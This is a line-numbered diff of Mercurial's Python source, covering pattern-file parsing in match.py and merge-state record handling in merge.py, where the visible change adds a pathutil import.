1470 1474 Returns a tuple of (roots, dirs, parents).
1471 1475
1472 1476 >>> r = _rootsdirsandparents(
1473 1477 ... [(b'glob', b'g/h/*', b''), (b'glob', b'g/h', b''),
1474 1478 ... (b'glob', b'g*', b'')])
1475 1479 >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
1476 1480 (['g/h', 'g/h', ''], []) ['', 'g']
1477 1481 >>> r = _rootsdirsandparents(
1478 1482 ... [(b'rootfilesin', b'g/h', b''), (b'rootfilesin', b'', b'')])
1479 1483 >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
1480 1484 ([], ['g/h', '']) ['', 'g']
1481 1485 >>> r = _rootsdirsandparents(
1482 1486 ... [(b'relpath', b'r', b''), (b'path', b'p/p', b''),
1483 1487 ... (b'path', b'', b'')])
1484 1488 >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
1485 1489 (['r', 'p/p', ''], []) ['', 'p']
1486 1490 >>> r = _rootsdirsandparents(
1487 1491 ... [(b'relglob', b'rg*', b''), (b're', b're/', b''),
1488 1492 ... (b'relre', b'rr', b'')])
1489 1493 >>> print(r[0:2], sorted(r[2])) # the set has an unstable output
1490 1494 (['', '', ''], []) ['']
1491 1495 '''
1492 1496 r, d = _patternrootsanddirs(kindpats)
1493 1497
1494 1498 p = set()
1495 1499 # Add the parents as non-recursive/exact directories, since they must be
1496 1500 # scanned to get to either the roots or the other exact directories.
1497 1501 p.update(pathutil.dirs(d))
1498 1502 p.update(pathutil.dirs(r))
1499 1503
1500 1504 # FIXME: all uses of this function convert these to sets, do so before
1501 1505 # returning.
1502 1506 # FIXME: all uses of this function do not need anything in 'roots' and
1503 1507 # 'dirs' to also be in 'parents', consider removing them before returning.
1504 1508 return r, d, p
1505 1509
1506 1510
1507 1511 def _explicitfiles(kindpats):
1508 1512 '''Returns the potential explicit filenames from the patterns.
1509 1513
1510 1514 >>> _explicitfiles([(b'path', b'foo/bar', b'')])
1511 1515 ['foo/bar']
1512 1516 >>> _explicitfiles([(b'rootfilesin', b'foo/bar', b'')])
1513 1517 []
1514 1518 '''
1515 1519 # Keep only the pattern kinds where one can specify filenames (vs only
1516 1520 # directory names).
1517 1521 filable = [kp for kp in kindpats if kp[0] not in (b'rootfilesin',)]
1518 1522 return _roots(filable)
1519 1523
1520 1524
1521 1525 def _prefix(kindpats):
1522 1526 '''Whether all the patterns match a prefix (i.e. recursively)'''
1523 1527 for kind, pat, source in kindpats:
1524 1528 if kind not in (b'path', b'relpath'):
1525 1529 return False
1526 1530 return True
1527 1531
1528 1532
1529 1533 _commentre = None
1530 1534
1531 1535
1532 1536 def readpatternfile(filepath, warn, sourceinfo=False):
1533 1537 '''parse a pattern file, returning a list of
1534 1538 patterns. These patterns should be given to compile()
1535 1539 to be validated and converted into a match function.
1536 1540
1537 1541 trailing white space is dropped.
1538 1542 the escape character is backslash.
1539 1543 comments start with #.
1540 1544 empty lines are skipped.
1541 1545
1542 1546 lines can be of the following formats:
1543 1547
1544 1548 syntax: regexp # defaults following lines to non-rooted regexps
1545 1549 syntax: glob # defaults following lines to non-rooted globs
1546 1550 re:pattern # non-rooted regular expression
1547 1551 glob:pattern # non-rooted glob
1548 1552 rootglob:pat # rooted glob (same root as ^ in regexps)
1549 1553 pattern # pattern of the current default type
1550 1554
1551 1555 if sourceinfo is set, returns a list of tuples:
1552 1556 (pattern, lineno, originalline).
1553 1557 This is useful to debug ignore patterns.
1554 1558 '''
1555 1559
1556 1560 if rustmod is not None:
1557 1561 result, warnings = rustmod.read_pattern_file(
1558 1562 filepath, bool(warn), sourceinfo,
1559 1563 )
1560 1564
1561 1565 for warning_params in warnings:
1562 1566 # Can't be easily emitted from Rust, because it would require
1563 1567 # a mechanism for both gettext and calling the `warn` function.
1564 1568 warn(_(b"%s: ignoring invalid syntax '%s'\n") % warning_params)
1565 1569
1566 1570 return result
1567 1571
1568 1572 syntaxes = {
1569 1573 b're': b'relre:',
1570 1574 b'regexp': b'relre:',
1571 1575 b'glob': b'relglob:',
1572 1576 b'rootglob': b'rootglob:',
1573 1577 b'include': b'include',
1574 1578 b'subinclude': b'subinclude',
1575 1579 }
1576 1580 syntax = b'relre:'
1577 1581 patterns = []
1578 1582
1579 1583 fp = open(filepath, b'rb')
1580 1584 for lineno, line in enumerate(util.iterfile(fp), start=1):
1581 1585 if b"#" in line:
1582 1586 global _commentre
1583 1587 if not _commentre:
1584 1588 _commentre = util.re.compile(br'((?:^|[^\\])(?:\\\\)*)#.*')
1585 1589 # remove comments prefixed by an even number of escapes
1586 1590 m = _commentre.search(line)
1587 1591 if m:
1588 1592 line = line[: m.end(1)]
1589 1593 # fixup properly escaped comments that survived the above
1590 1594 line = line.replace(b"\\#", b"#")
1591 1595 line = line.rstrip()
1592 1596 if not line:
1593 1597 continue
1594 1598
1595 1599 if line.startswith(b'syntax:'):
1596 1600 s = line[7:].strip()
1597 1601 try:
1598 1602 syntax = syntaxes[s]
1599 1603 except KeyError:
1600 1604 if warn:
1601 1605 warn(
1602 1606 _(b"%s: ignoring invalid syntax '%s'\n") % (filepath, s)
1603 1607 )
1604 1608 continue
1605 1609
1606 1610 linesyntax = syntax
1607 1611 for s, rels in pycompat.iteritems(syntaxes):
1608 1612 if line.startswith(rels):
1609 1613 linesyntax = rels
1610 1614 line = line[len(rels) :]
1611 1615 break
1612 1616 elif line.startswith(s + b':'):
1613 1617 linesyntax = rels
1614 1618 line = line[len(s) + 1 :]
1615 1619 break
1616 1620 if sourceinfo:
1617 1621 patterns.append((linesyntax + line, lineno, line))
1618 1622 else:
1619 1623 patterns.append(linesyntax + line)
1620 1624 fp.close()
1621 1625 return patterns
@@ -1,2709 +1,2710 b''
1 1 # merge.py - directory-level update/merge handling for Mercurial
2 2 #
3 3 # Copyright 2006, 2007 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import errno
11 11 import hashlib
12 12 import shutil
13 13 import stat
14 14 import struct
15 15
16 16 from .i18n import _
17 17 from .node import (
18 18 addednodeid,
19 19 bin,
20 20 hex,
21 21 modifiednodeid,
22 22 nullhex,
23 23 nullid,
24 24 nullrev,
25 25 )
26 26 from .pycompat import delattr
27 27 from .thirdparty import attr
28 28 from . import (
29 29 copies,
30 30 encoding,
31 31 error,
32 32 filemerge,
33 33 match as matchmod,
34 34 obsutil,
35 pathutil,
35 36 pycompat,
36 37 scmutil,
37 38 subrepoutil,
38 39 util,
39 40 worker,
40 41 )
41 42
42 43 _pack = struct.pack
43 44 _unpack = struct.unpack
44 45
45 46
46 47 def _droponode(data):
47 48 # used for compatibility for v1
48 49 bits = data.split(b'\0')
49 50 bits = bits[:-2] + bits[-1:]
50 51 return b'\0'.join(bits)
51 52
52 53
53 54 # Merge state record types. See ``mergestate`` docs for more.
54 55 RECORD_LOCAL = b'L'
55 56 RECORD_OTHER = b'O'
56 57 RECORD_MERGED = b'F'
57 58 RECORD_CHANGEDELETE_CONFLICT = b'C'
58 59 RECORD_MERGE_DRIVER_MERGE = b'D'
59 60 RECORD_PATH_CONFLICT = b'P'
60 61 RECORD_MERGE_DRIVER_STATE = b'm'
61 62 RECORD_FILE_VALUES = b'f'
62 63 RECORD_LABELS = b'l'
63 64 RECORD_OVERRIDE = b't'
64 65 RECORD_UNSUPPORTED_MANDATORY = b'X'
65 66 RECORD_UNSUPPORTED_ADVISORY = b'x'
66 67
67 68 MERGE_DRIVER_STATE_UNMARKED = b'u'
68 69 MERGE_DRIVER_STATE_MARKED = b'm'
69 70 MERGE_DRIVER_STATE_SUCCESS = b's'
70 71
71 72 MERGE_RECORD_UNRESOLVED = b'u'
72 73 MERGE_RECORD_RESOLVED = b'r'
73 74 MERGE_RECORD_UNRESOLVED_PATH = b'pu'
74 75 MERGE_RECORD_RESOLVED_PATH = b'pr'
75 76 MERGE_RECORD_DRIVER_RESOLVED = b'd'
76 77
77 78 ACTION_FORGET = b'f'
78 79 ACTION_REMOVE = b'r'
79 80 ACTION_ADD = b'a'
80 81 ACTION_GET = b'g'
81 82 ACTION_PATH_CONFLICT = b'p'
82 83 ACTION_PATH_CONFLICT_RESOLVE = b'pr'
83 84 ACTION_ADD_MODIFIED = b'am'
84 85 ACTION_CREATED = b'c'
85 86 ACTION_DELETED_CHANGED = b'dc'
86 87 ACTION_CHANGED_DELETED = b'cd'
87 88 ACTION_MERGE = b'm'
88 89 ACTION_LOCAL_DIR_RENAME_GET = b'dg'
89 90 ACTION_DIR_RENAME_MOVE_LOCAL = b'dm'
90 91 ACTION_KEEP = b'k'
91 92 ACTION_EXEC = b'e'
92 93 ACTION_CREATED_MERGE = b'cm'
93 94
94 95
95 96 class mergestate(object):
96 97 '''track 3-way merge state of individual files
97 98
98 99 The merge state is stored on disk when needed. Two files are used: one with
99 100 an old format (version 1), and one with a new format (version 2). Version 2
100 101 stores a superset of the data in version 1, including new kinds of records
101 102 in the future. For more about the new format, see the documentation for
102 103 `_readrecordsv2`.
103 104
104 105 Each record can contain arbitrary content, and has an associated type. This
105 106 `type` should be a letter. If `type` is uppercase, the record is mandatory:
106 107 versions of Mercurial that don't support it should abort. If `type` is
107 108 lowercase, the record can be safely ignored.
108 109
109 110 Currently known records:
110 111
111 112 L: the node of the "local" part of the merge (hexified version)
112 113 O: the node of the "other" part of the merge (hexified version)
113 114 F: a file to be merged entry
114 115 C: a change/delete or delete/change conflict
115 116 D: a file that the external merge driver will merge internally
116 117 (experimental)
117 118 P: a path conflict (file vs directory)
118 119 m: the external merge driver defined for this merge plus its run state
119 120 (experimental)
120 121 f: a (filename, dictionary) tuple of optional values for a given file
121 122 X: unsupported mandatory record type (used in tests)
122 123 x: unsupported advisory record type (used in tests)
123 124 l: the labels for the parts of the merge.
124 125
125 126 Merge driver run states (experimental):
126 127 u: driver-resolved files unmarked -- needs to be run next time we're about
127 128 to resolve or commit
128 129 m: driver-resolved files marked -- only needs to be run before commit
129 130 s: success/skipped -- does not need to be run any more
130 131
131 132 Merge record states (stored in self._state, indexed by filename):
132 133 u: unresolved conflict
133 134 r: resolved conflict
134 135 pu: unresolved path conflict (file conflicts with directory)
135 136 pr: resolved path conflict
136 137 d: driver-resolved conflict
137 138
138 139 The resolve command transitions between 'u' and 'r' for conflicts and
139 140 'pu' and 'pr' for path conflicts.
140 141 '''
141 142
142 143 statepathv1 = b'merge/state'
143 144 statepathv2 = b'merge/state2'
144 145
145 146 @staticmethod
146 147 def clean(repo, node=None, other=None, labels=None):
147 148 """Initialize a brand new merge state, removing any existing state on
148 149 disk."""
149 150 ms = mergestate(repo)
150 151 ms.reset(node, other, labels)
151 152 return ms
152 153
153 154 @staticmethod
154 155 def read(repo):
155 156 """Initialize the merge state, reading it from disk."""
156 157 ms = mergestate(repo)
157 158 ms._read()
158 159 return ms
159 160
160 161 def __init__(self, repo):
161 162 """Initialize the merge state.
162 163
163 164 Do not use this directly! Instead call read() or clean()."""
164 165 self._repo = repo
165 166 self._dirty = False
166 167 self._labels = None
167 168
168 169 def reset(self, node=None, other=None, labels=None):
169 170 self._state = {}
170 171 self._stateextras = {}
171 172 self._local = None
172 173 self._other = None
173 174 self._labels = labels
174 175 for var in ('localctx', 'otherctx'):
175 176 if var in vars(self):
176 177 delattr(self, var)
177 178 if node:
178 179 self._local = node
179 180 self._other = other
180 181 self._readmergedriver = None
181 182 if self.mergedriver:
182 183 self._mdstate = MERGE_DRIVER_STATE_SUCCESS
183 184 else:
184 185 self._mdstate = MERGE_DRIVER_STATE_UNMARKED
185 186 shutil.rmtree(self._repo.vfs.join(b'merge'), True)
186 187 self._results = {}
187 188 self._dirty = False
188 189
189 190 def _read(self):
190 191 """Analyse each record content to restore a serialized state from disk
191 192
192 193 This function process "record" entry produced by the de-serialization
193 194 of on disk file.
194 195 """
195 196 self._state = {}
196 197 self._stateextras = {}
197 198 self._local = None
198 199 self._other = None
199 200 for var in ('localctx', 'otherctx'):
200 201 if var in vars(self):
201 202 delattr(self, var)
202 203 self._readmergedriver = None
203 204 self._mdstate = MERGE_DRIVER_STATE_SUCCESS
204 205 unsupported = set()
205 206 records = self._readrecords()
206 207 for rtype, record in records:
207 208 if rtype == RECORD_LOCAL:
208 209 self._local = bin(record)
209 210 elif rtype == RECORD_OTHER:
210 211 self._other = bin(record)
211 212 elif rtype == RECORD_MERGE_DRIVER_STATE:
212 213 bits = record.split(b'\0', 1)
213 214 mdstate = bits[1]
214 215 if len(mdstate) != 1 or mdstate not in (
215 216 MERGE_DRIVER_STATE_UNMARKED,
216 217 MERGE_DRIVER_STATE_MARKED,
217 218 MERGE_DRIVER_STATE_SUCCESS,
218 219 ):
219 220 # the merge driver should be idempotent, so just rerun it
220 221 mdstate = MERGE_DRIVER_STATE_UNMARKED
221 222
222 223 self._readmergedriver = bits[0]
223 224 self._mdstate = mdstate
224 225 elif rtype in (
225 226 RECORD_MERGED,
226 227 RECORD_CHANGEDELETE_CONFLICT,
227 228 RECORD_PATH_CONFLICT,
228 229 RECORD_MERGE_DRIVER_MERGE,
229 230 ):
230 231 bits = record.split(b'\0')
231 232 self._state[bits[0]] = bits[1:]
232 233 elif rtype == RECORD_FILE_VALUES:
233 234 filename, rawextras = record.split(b'\0', 1)
234 235 extraparts = rawextras.split(b'\0')
235 236 extras = {}
236 237 i = 0
237 238 while i < len(extraparts):
238 239 extras[extraparts[i]] = extraparts[i + 1]
239 240 i += 2
240 241
241 242 self._stateextras[filename] = extras
242 243 elif rtype == RECORD_LABELS:
243 244 labels = record.split(b'\0', 2)
244 245 self._labels = [l for l in labels if len(l) > 0]
245 246 elif not rtype.islower():
246 247 unsupported.add(rtype)
247 248 self._results = {}
248 249 self._dirty = False
249 250
250 251 if unsupported:
251 252 raise error.UnsupportedMergeRecords(unsupported)
252 253
253 254 def _readrecords(self):
254 255 """Read merge state from disk and return a list of record (TYPE, data)
255 256
256 257 We read data from both v1 and v2 files and decide which one to use.
257 258
258 259 V1 has been used by version prior to 2.9.1 and contains less data than
259 260 v2. We read both versions and check if no data in v2 contradicts
260 261 v1. If there is not contradiction we can safely assume that both v1
261 262 and v2 were written at the same time and use the extract data in v2. If
262 263 there is contradiction we ignore v2 content as we assume an old version
263 264 of Mercurial has overwritten the mergestate file and left an old v2
264 265 file around.
265 266
266 267 returns list of record [(TYPE, data), ...]"""
267 268 v1records = self._readrecordsv1()
268 269 v2records = self._readrecordsv2()
269 270 if self._v1v2match(v1records, v2records):
270 271 return v2records
271 272 else:
272 273 # v1 file is newer than v2 file, use it
273 274 # we have to infer the "other" changeset of the merge
274 275 # we cannot do better than that with v1 of the format
275 276 mctx = self._repo[None].parents()[-1]
276 277 v1records.append((RECORD_OTHER, mctx.hex()))
277 278 # add place holder "other" file node information
278 279 # nobody is using it yet so we do no need to fetch the data
279 280 # if mctx was wrong `mctx[bits[-2]]` may fails.
280 281 for idx, r in enumerate(v1records):
281 282 if r[0] == RECORD_MERGED:
282 283 bits = r[1].split(b'\0')
283 284 bits.insert(-2, b'')
284 285 v1records[idx] = (r[0], b'\0'.join(bits))
285 286 return v1records
286 287
287 288 def _v1v2match(self, v1records, v2records):
288 289 oldv2 = set() # old format version of v2 record
289 290 for rec in v2records:
290 291 if rec[0] == RECORD_LOCAL:
291 292 oldv2.add(rec)
292 293 elif rec[0] == RECORD_MERGED:
293 294 # drop the onode data (not contained in v1)
294 295 oldv2.add((RECORD_MERGED, _droponode(rec[1])))
295 296 for rec in v1records:
296 297 if rec not in oldv2:
297 298 return False
298 299 else:
299 300 return True
300 301
301 302 def _readrecordsv1(self):
302 303 """read on disk merge state for version 1 file
303 304
304 305 returns list of record [(TYPE, data), ...]
305 306
306 307 Note: the "F" data from this file are one entry short
307 308 (no "other file node" entry)
308 309 """
309 310 records = []
310 311 try:
311 312 f = self._repo.vfs(self.statepathv1)
312 313 for i, l in enumerate(f):
313 314 if i == 0:
314 315 records.append((RECORD_LOCAL, l[:-1]))
315 316 else:
316 317 records.append((RECORD_MERGED, l[:-1]))
317 318 f.close()
318 319 except IOError as err:
319 320 if err.errno != errno.ENOENT:
320 321 raise
321 322 return records
322 323
323 324 def _readrecordsv2(self):
324 325 """read on disk merge state for version 2 file
325 326
326 327 This format is a list of arbitrary records of the form:
327 328
328 329 [type][length][content]
329 330
330 331 `type` is a single character, `length` is a 4 byte integer, and
331 332 `content` is an arbitrary byte sequence of length `length`.
332 333
333 334 Mercurial versions prior to 3.7 have a bug where if there are
334 335 unsupported mandatory merge records, attempting to clear out the merge
335 336 state with hg update --clean or similar aborts. The 't' record type
336 337 works around that by writing out what those versions treat as an
337 338 advisory record, but later versions interpret as special: the first
338 339 character is the 'real' record type and everything onwards is the data.
339 340
340 341 Returns list of records [(TYPE, data), ...]."""
341 342 records = []
342 343 try:
343 344 f = self._repo.vfs(self.statepathv2)
344 345 data = f.read()
345 346 off = 0
346 347 end = len(data)
347 348 while off < end:
348 349 rtype = data[off : off + 1]
349 350 off += 1
350 351 length = _unpack(b'>I', data[off : (off + 4)])[0]
351 352 off += 4
352 353 record = data[off : (off + length)]
353 354 off += length
354 355 if rtype == RECORD_OVERRIDE:
355 356 rtype, record = record[0:1], record[1:]
356 357 records.append((rtype, record))
357 358 f.close()
358 359 except IOError as err:
359 360 if err.errno != errno.ENOENT:
360 361 raise
361 362 return records
362 363
363 364 @util.propertycache
364 365 def mergedriver(self):
365 366 # protect against the following:
366 367 # - A configures a malicious merge driver in their hgrc, then
367 368 # pauses the merge
368 369 # - A edits their hgrc to remove references to the merge driver
369 370 # - A gives a copy of their entire repo, including .hg, to B
370 371 # - B inspects .hgrc and finds it to be clean
371 372 # - B then continues the merge and the malicious merge driver
372 373 # gets invoked
373 374 configmergedriver = self._repo.ui.config(
374 375 b'experimental', b'mergedriver'
375 376 )
376 377 if (
377 378 self._readmergedriver is not None
378 379 and self._readmergedriver != configmergedriver
379 380 ):
380 381 raise error.ConfigError(
381 382 _(b"merge driver changed since merge started"),
382 383 hint=_(b"revert merge driver change or abort merge"),
383 384 )
384 385
385 386 return configmergedriver
386 387
387 388 @util.propertycache
388 389 def localctx(self):
389 390 if self._local is None:
390 391 msg = b"localctx accessed but self._local isn't set"
391 392 raise error.ProgrammingError(msg)
392 393 return self._repo[self._local]
393 394
394 395 @util.propertycache
395 396 def otherctx(self):
396 397 if self._other is None:
397 398 msg = b"otherctx accessed but self._other isn't set"
398 399 raise error.ProgrammingError(msg)
399 400 return self._repo[self._other]
400 401
401 402 def active(self):
402 403 """Whether mergestate is active.
403 404
404 405 Returns True if there appears to be mergestate. This is a rough proxy
405 406 for "is a merge in progress."
406 407 """
407 408 # Check local variables before looking at filesystem for performance
408 409 # reasons.
409 410 return (
410 411 bool(self._local)
411 412 or bool(self._state)
412 413 or self._repo.vfs.exists(self.statepathv1)
413 414 or self._repo.vfs.exists(self.statepathv2)
414 415 )
415 416
416 417 def commit(self):
417 418 """Write current state on disk (if necessary)"""
418 419 if self._dirty:
419 420 records = self._makerecords()
420 421 self._writerecords(records)
421 422 self._dirty = False
422 423
423 424 def _makerecords(self):
424 425 records = []
425 426 records.append((RECORD_LOCAL, hex(self._local)))
426 427 records.append((RECORD_OTHER, hex(self._other)))
427 428 if self.mergedriver:
428 429 records.append(
429 430 (
430 431 RECORD_MERGE_DRIVER_STATE,
431 432 b'\0'.join([self.mergedriver, self._mdstate]),
432 433 )
433 434 )
434 435 # Write out state items. In all cases, the value of the state map entry
435 436 # is written as the contents of the record. The record type depends on
436 437 # the type of state that is stored, and capital-letter records are used
437 438 # to prevent older versions of Mercurial that do not support the feature
438 439 # from loading them.
439 440 for filename, v in pycompat.iteritems(self._state):
440 441 if v[0] == MERGE_RECORD_DRIVER_RESOLVED:
441 442 # Driver-resolved merge. These are stored in 'D' records.
442 443 records.append(
443 444 (RECORD_MERGE_DRIVER_MERGE, b'\0'.join([filename] + v))
444 445 )
445 446 elif v[0] in (
446 447 MERGE_RECORD_UNRESOLVED_PATH,
447 448 MERGE_RECORD_RESOLVED_PATH,
448 449 ):
449 450 # Path conflicts. These are stored in 'P' records. The current
450 451 # resolution state ('pu' or 'pr') is stored within the record.
451 452 records.append(
452 453 (RECORD_PATH_CONFLICT, b'\0'.join([filename] + v))
453 454 )
454 455 elif v[1] == nullhex or v[6] == nullhex:
455 456 # Change/Delete or Delete/Change conflicts. These are stored in
456 457 # 'C' records. v[1] is the local file, and is nullhex when the
457 458 # file is deleted locally ('dc'). v[6] is the remote file, and
458 459 # is nullhex when the file is deleted remotely ('cd').
459 460 records.append(
460 461 (RECORD_CHANGEDELETE_CONFLICT, b'\0'.join([filename] + v))
461 462 )
462 463 else:
463 464 # Normal files. These are stored in 'F' records.
464 465 records.append((RECORD_MERGED, b'\0'.join([filename] + v)))
465 466 for filename, extras in sorted(pycompat.iteritems(self._stateextras)):
466 467 rawextras = b'\0'.join(
467 468 b'%s\0%s' % (k, v) for k, v in pycompat.iteritems(extras)
468 469 )
469 470 records.append(
470 471 (RECORD_FILE_VALUES, b'%s\0%s' % (filename, rawextras))
471 472 )
472 473 if self._labels is not None:
473 474 labels = b'\0'.join(self._labels)
474 475 records.append((RECORD_LABELS, labels))
475 476 return records
476 477
477 478 def _writerecords(self, records):
478 479 """Write current state on disk (both v1 and v2)"""
479 480 self._writerecordsv1(records)
480 481 self._writerecordsv2(records)
481 482
482 483 def _writerecordsv1(self, records):
483 484 """Write current state on disk in a version 1 file"""
484 485 f = self._repo.vfs(self.statepathv1, b'wb')
485 486 irecords = iter(records)
486 487 lrecords = next(irecords)
487 488 assert lrecords[0] == RECORD_LOCAL
488 489 f.write(hex(self._local) + b'\n')
489 490 for rtype, data in irecords:
490 491 if rtype == RECORD_MERGED:
491 492 f.write(b'%s\n' % _droponode(data))
492 493 f.close()
493 494
494 495 def _writerecordsv2(self, records):
495 496 """Write current state on disk in a version 2 file
496 497
497 498 See the docstring for _readrecordsv2 for why we use 't'."""
498 499 # these are the records that all version 2 clients can read
499 500 allowlist = (RECORD_LOCAL, RECORD_OTHER, RECORD_MERGED)
500 501 f = self._repo.vfs(self.statepathv2, b'wb')
501 502 for key, data in records:
502 503 assert len(key) == 1
503 504 if key not in allowlist:
504 505 key, data = RECORD_OVERRIDE, b'%s%s' % (key, data)
505 506 format = b'>sI%is' % len(data)
506 507 f.write(_pack(format, key, len(data), data))
507 508 f.close()
508 509
509 510 @staticmethod
510 511 def getlocalkey(path):
511 512 """hash the path of a local file context for storage in the .hg/merge
512 513 directory."""
513 514
514 515 return hex(hashlib.sha1(path).digest())
515 516
516 517 def add(self, fcl, fco, fca, fd):
517 518 """add a new (potentially?) conflicting file the merge state
518 519 fcl: file context for local,
519 520 fco: file context for remote,
520 521 fca: file context for ancestors,
521 522 fd: file path of the resulting merge.
522 523
523 524 note: also write the local version to the `.hg/merge` directory.
524 525 """
525 526 if fcl.isabsent():
526 527 localkey = nullhex
527 528 else:
528 529 localkey = mergestate.getlocalkey(fcl.path())
529 530 self._repo.vfs.write(b'merge/' + localkey, fcl.data())
530 531 self._state[fd] = [
531 532 MERGE_RECORD_UNRESOLVED,
532 533 localkey,
533 534 fcl.path(),
534 535 fca.path(),
535 536 hex(fca.filenode()),
536 537 fco.path(),
537 538 hex(fco.filenode()),
538 539 fcl.flags(),
539 540 ]
540 541 self._stateextras[fd] = {b'ancestorlinknode': hex(fca.node())}
541 542 self._dirty = True
542 543
543 544 def addpath(self, path, frename, forigin):
544 545 """add a new conflicting path to the merge state
545 546 path: the path that conflicts
546 547 frename: the filename the conflicting file was renamed to
547 548 forigin: origin of the file ('l' or 'r' for local/remote)
548 549 """
549 550 self._state[path] = [MERGE_RECORD_UNRESOLVED_PATH, frename, forigin]
550 551 self._dirty = True
551 552
552 553 def __contains__(self, dfile):
553 554 return dfile in self._state
554 555
555 556 def __getitem__(self, dfile):
556 557 return self._state[dfile][0]
557 558
558 559 def __iter__(self):
559 560 return iter(sorted(self._state))
560 561
561 562 def files(self):
562 563 return self._state.keys()
563 564
564 565 def mark(self, dfile, state):
565 566 self._state[dfile][0] = state
566 567 self._dirty = True
567 568
568 569 def mdstate(self):
569 570 return self._mdstate
570 571
571 572 def unresolved(self):
572 573 """Obtain the paths of unresolved files."""
573 574
574 575 for f, entry in pycompat.iteritems(self._state):
575 576 if entry[0] in (
576 577 MERGE_RECORD_UNRESOLVED,
577 578 MERGE_RECORD_UNRESOLVED_PATH,
578 579 ):
579 580 yield f
580 581
581 582 def driverresolved(self):
582 583 """Obtain the paths of driver-resolved files."""
583 584
584 585 for f, entry in self._state.items():
585 586 if entry[0] == MERGE_RECORD_DRIVER_RESOLVED:
586 587 yield f
587 588
588 589 def extras(self, filename):
589 590 return self._stateextras.setdefault(filename, {})
590 591
591 592 def _resolve(self, preresolve, dfile, wctx):
592 593 """rerun merge process for file path `dfile`"""
593 594 if self[dfile] in (MERGE_RECORD_RESOLVED, MERGE_RECORD_DRIVER_RESOLVED):
594 595 return True, 0
595 596 stateentry = self._state[dfile]
596 597 state, localkey, lfile, afile, anode, ofile, onode, flags = stateentry
597 598 octx = self._repo[self._other]
598 599 extras = self.extras(dfile)
599 600 anccommitnode = extras.get(b'ancestorlinknode')
600 601 if anccommitnode:
601 602 actx = self._repo[anccommitnode]
602 603 else:
603 604 actx = None
604 605 fcd = self._filectxorabsent(localkey, wctx, dfile)
605 606 fco = self._filectxorabsent(onode, octx, ofile)
606 607 # TODO: move this to filectxorabsent
607 608 fca = self._repo.filectx(afile, fileid=anode, changectx=actx)
608 609 # "premerge" x flags
609 610 flo = fco.flags()
610 611 fla = fca.flags()
611 612 if b'x' in flags + flo + fla and b'l' not in flags + flo + fla:
612 613 if fca.node() == nullid and flags != flo:
613 614 if preresolve:
614 615 self._repo.ui.warn(
615 616 _(
616 617 b'warning: cannot merge flags for %s '
617 618 b'without common ancestor - keeping local flags\n'
618 619 )
619 620 % afile
620 621 )
621 622 elif flags == fla:
622 623 flags = flo
623 624 if preresolve:
624 625 # restore local
625 626 if localkey != nullhex:
626 627 f = self._repo.vfs(b'merge/' + localkey)
627 628 wctx[dfile].write(f.read(), flags)
628 629 f.close()
629 630 else:
630 631 wctx[dfile].remove(ignoremissing=True)
631 632 complete, r, deleted = filemerge.premerge(
632 633 self._repo,
633 634 wctx,
634 635 self._local,
635 636 lfile,
636 637 fcd,
637 638 fco,
638 639 fca,
639 640 labels=self._labels,
640 641 )
641 642 else:
642 643 complete, r, deleted = filemerge.filemerge(
643 644 self._repo,
644 645 wctx,
645 646 self._local,
646 647 lfile,
647 648 fcd,
648 649 fco,
649 650 fca,
650 651 labels=self._labels,
651 652 )
652 653 if r is None:
653 654 # no real conflict
654 655 del self._state[dfile]
655 656 self._stateextras.pop(dfile, None)
656 657 self._dirty = True
657 658 elif not r:
658 659 self.mark(dfile, MERGE_RECORD_RESOLVED)
659 660
660 661 if complete:
661 662 action = None
662 663 if deleted:
663 664 if fcd.isabsent():
664 665 # dc: local picked. Need to drop if present, which may
665 666 # happen on re-resolves.
666 667 action = ACTION_FORGET
667 668 else:
668 669 # cd: remote picked (or otherwise deleted)
669 670 action = ACTION_REMOVE
670 671 else:
671 672 if fcd.isabsent(): # dc: remote picked
672 673 action = ACTION_GET
673 674 elif fco.isabsent(): # cd: local picked
674 675 if dfile in self.localctx:
675 676 action = ACTION_ADD_MODIFIED
676 677 else:
677 678 action = ACTION_ADD
678 679 # else: regular merges (no action necessary)
679 680 self._results[dfile] = r, action
680 681
681 682 return complete, r
682 683
683 684 def _filectxorabsent(self, hexnode, ctx, f):
684 685 if hexnode == nullhex:
685 686 return filemerge.absentfilectx(ctx, f)
686 687 else:
687 688 return ctx[f]
688 689
689 690 def preresolve(self, dfile, wctx):
690 691 """run premerge process for dfile
691 692
692 693 Returns whether the merge is complete, and the exit code."""
693 694 return self._resolve(True, dfile, wctx)
694 695
695 696 def resolve(self, dfile, wctx):
696 697 """run merge process (assuming premerge was run) for dfile
697 698
698 699 Returns the exit code of the merge."""
699 700 return self._resolve(False, dfile, wctx)[1]
700 701
701 702 def counts(self):
702 703 """return counts for updated, merged and removed files in this
703 704 session"""
704 705 updated, merged, removed = 0, 0, 0
705 706 for r, action in pycompat.itervalues(self._results):
706 707 if r is None:
707 708 updated += 1
708 709 elif r == 0:
709 710 if action == ACTION_REMOVE:
710 711 removed += 1
711 712 else:
712 713 merged += 1
713 714 return updated, merged, removed
714 715
715 716 def unresolvedcount(self):
716 717 """get unresolved count for this merge (persistent)"""
717 718 return len(list(self.unresolved()))
718 719
719 720 def actions(self):
720 721 """return lists of actions to perform on the dirstate"""
721 722 actions = {
722 723 ACTION_REMOVE: [],
723 724 ACTION_FORGET: [],
724 725 ACTION_ADD: [],
725 726 ACTION_ADD_MODIFIED: [],
726 727 ACTION_GET: [],
727 728 }
728 729 for f, (r, action) in pycompat.iteritems(self._results):
729 730 if action is not None:
730 731 actions[action].append((f, None, b"merge result"))
731 732 return actions
732 733
733 734 def recordactions(self):
734 735 """record remove/add/get actions in the dirstate"""
735 736 branchmerge = self._repo.dirstate.p2() != nullid
736 737 recordupdates(self._repo, self.actions(), branchmerge, None)
737 738
738 739 def queueremove(self, f):
739 740 """queues a file to be removed from the dirstate
740 741
741 742 Meant for use by custom merge drivers."""
742 743 self._results[f] = 0, ACTION_REMOVE
743 744
744 745 def queueadd(self, f):
745 746 """queues a file to be added to the dirstate
746 747
747 748 Meant for use by custom merge drivers."""
748 749 self._results[f] = 0, ACTION_ADD
749 750
750 751 def queueget(self, f):
751 752 """queues a file to be marked modified in the dirstate
752 753
753 754 Meant for use by custom merge drivers."""
754 755 self._results[f] = 0, ACTION_GET
755 756
756 757
757 758 def _getcheckunknownconfig(repo, section, name):
